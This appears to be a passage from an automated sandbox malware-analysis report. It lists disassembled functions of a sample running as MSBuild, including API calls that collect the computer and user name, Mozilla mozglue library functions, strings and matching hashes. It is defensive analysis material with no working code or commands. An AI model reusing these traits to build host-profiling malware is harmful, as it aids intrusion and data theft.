Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00418E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 5813d97e5a9d5e62cf6b98a9fa413c072790b27809b986ad4fea9f9272a325ca
Instruction ID: 4e8330aeffd582690bdeed6f2b2e87d9bfe7c5a3600f95b8df6029cd87e1cd21
Opcode Fuzzy Hash: 5813d97e5a9d5e62cf6b98a9fa413c072790b27809b986ad4fea9f9272a325ca
Instruction Fuzzy Hash: 0E01FB3494420CEFCB04CF98C5857EC7BB1EF05308F288089D905AB350C7795E84DB89

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6BCEF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCEF09B

Part of subcall function 6BCC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B85
Part of subcall function 6BCC5B50: EnterCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B90
Part of subcall function 6BCC5B50: LeaveCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5BD8
Part of subcall function 6BCC5B50: GetTickCount64.KERNEL32 ref: 6BCC5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BCEF0AC

Part of subcall function 6BCC5C50: GetTickCount64.KERNEL32 ref: 6BCC5D40
Part of subcall function 6BCC5C50: EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BCEF0BE

Part of subcall function 6BCC5C50: __aulldiv.LIBCMT ref: 6BCC5DB4
Part of subcall function 6BCC5C50: LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCEF155
GetCurrentThreadId.KERNEL32 ref: 6BCEF1E0
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF1ED
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF212
GetCurrentThreadId.KERNEL32 ref: 6BCEF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCEF248
GetCurrentThreadId.KERNEL32 ref: 6BCEF2AE
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF2BB
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF2F8

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEF350
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF35D
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF381
GetCurrentThreadId.KERNEL32 ref: 6BCEF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF3A0
GetCurrentThreadId.KERNEL32 ref: 6BCEF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF491

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCEF3CF

Part of subcall function 6BCEF070: GetCurrentThreadId.KERNEL32 ref: 6BCEF440
Part of subcall function 6BCEF070: AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF44D
Part of subcall function 6BCEF070: ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCEF4A8
GetCurrentThreadId.KERNEL32 ref: 6BCEF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF561
GetCurrentThreadId.KERNEL32 ref: 6BCEF577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF585
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6BCEF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6BCEF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6BCEF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6BCEF499

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 550e5aea7ce3d393181389890fc779116c40eb1956c330604459c53ab4f1edfb
Instruction ID: caa9e0ecc163c963ebcc62805b85a5e516125dabb4d1d739887a1f90d1127cbf
Opcode Fuzzy Hash: 550e5aea7ce3d393181389890fc779116c40eb1956c330604459c53ab4f1edfb
Instruction Fuzzy Hash: 6DD13875914385DFFB009F74D44575AFBA8EB46328F000A1BEB554B280EBB9DA06C7B2

Function 6BCEE2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6BCEE2A6), ref: 6BCEE35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6BCEE2A6), ref: 6BCEE386
GetCurrentThreadId.KERNEL32 ref: 6BCEE3E4
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BCEE4AB
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE4F5
GetCurrentThreadId.KERNEL32 ref: 6BCEE577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE584
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BCEE8A6

Part of subcall function 6BCAB7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BCAB7CF
Part of subcall function 6BCAB7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BCAB808

Part of subcall function 6BCFB800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6BD20FB6,00000000,?,?,6BCEE69E), ref: 6BCFB830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6BCEE6DA

Part of subcall function 6BCFB8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6BCFB916
Part of subcall function 6BCFB8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6BCFB94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BCEE864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEE883

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BCEE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BCEE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BCEE826, 6BCEE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BCEE722, 6BCEE750, 6BCEE7A2
MOZ_PROFILER_STARTUP, xrefs: 6BCEE5A1, 6BCEE5CC, 6BCEE5FF, 6BCEE62A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: 0b59770ccb71f24a06619dc240fb11e22c0e585086c0a4f9301c05e4e490a880
Instruction ID: 0d53b80462848b931190beafd7dda5a382dfd78a3b91d2948b0f8a833fab8bdd
Opcode Fuzzy Hash: 0b59770ccb71f24a06619dc240fb11e22c0e585086c0a4f9301c05e4e490a880
Instruction Fuzzy Hash: F002D271620346DFDB50CF28C480A6AB7F5FF89354F04496DE95A8B341E738EA46CBA1

Function 6BCE7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6BCE81E3, 6BCE8311
data, xrefs: 6BCE8280, 6BCE83E1
(pre-xul), xrefs: 6BCE7E88
name, xrefs: 6BCE7ECF, 6BCE8335

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 311bc8ff41ab7a470d9e5a11984e1ec2615324c43ec92252754970db303adf85
Instruction ID: c302511f20370838ad11e25810d1ae67d4a2800df1e3ed32fd830dfde83a3e2b
Opcode Fuzzy Hash: 311bc8ff41ab7a470d9e5a11984e1ec2615324c43ec92252754970db303adf85
Instruction Fuzzy Hash: 21E18F71A143518BC710CF68C84161BFBEAFBC4354F14892DE999DB381EB79DD058B92

Function 6BD04EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6BD04EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BD04F2E
moz_xmalloc.MOZGLUE ref: 6BD04F52
memset.VCRUNTIME140(00000000,00000000), ref: 6BD04F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BD052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BD052E6
Sleep.KERNEL32(00000010), ref: 6BD05481
free.MOZGLUE(?), ref: 6BD05498

Strings

(, xrefs: 6BD05250

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: c7aad3957e6d1cc6fd6aa87b0562b20867b146db33dfd9997c497c8ccebbd7f6
Instruction ID: d3da421ec9924cffe41cd48dfd87698163dcc8ca3b0c51e16628b94f1192ad6f
Opcode Fuzzy Hash: c7aad3957e6d1cc6fd6aa87b0562b20867b146db33dfd9997c497c8ccebbd7f6
Instruction Fuzzy Hash: D7F1D171A18B408FD716CF38C85162BF7E5AFD6394F058B2EF946AB251DB31D8428B81

Function 6BCB7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E744), ref: 6BCB7885
LeaveCriticalSection.KERNEL32(6BD2E744), ref: 6BCB78A5
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCB78AD
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCB78CD
EnterCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCB78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BCB78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6BCB795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6BCB79BB
LeaveCriticalSection.KERNEL32(?), ref: 6BCB7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BCB7C82
LeaveCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCB7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6BCB7DAF

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 47b37970de026eeb37ac760a3a66b05d59f2051a3f1af6fd3cf37c63970d556d
Instruction ID: a380023413fc3c76232e5da4d00579a2fbe717695d6d86d3675f899078f652c5
Opcode Fuzzy Hash: 47b37970de026eeb37ac760a3a66b05d59f2051a3f1af6fd3cf37c63970d556d
Instruction Fuzzy Hash: 5E023871E1521A8FDB54CF28C984799B7B5FF88314F1582AADD09AB251E734AE90CF80

Function 6BCE5190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE51DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6BCE52FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE53F7

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6BCE56C3
__Init_thread_footer.LIBCMT ref: 6BCE56E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6BCE56BE

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 96e1231e13db6b98b21a46862e4d0d9792c407a0dcd1b25a77048a5c4b92dd21
Instruction ID: b02f9d4b6d35f78c6fd6d3fd7c1cc1d3357e2931a597034a8f6cad61a36a7488
Opcode Fuzzy Hash: 96e1231e13db6b98b21a46862e4d0d9792c407a0dcd1b25a77048a5c4b92dd21
Instruction Fuzzy Hash: 5BE18E75924F45CAC712CE34885126BF7B6BF9B380F109B4EE9AE2A150EF34E5478321

Function 6BD07030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6BD07046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6BD07060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BD0707E

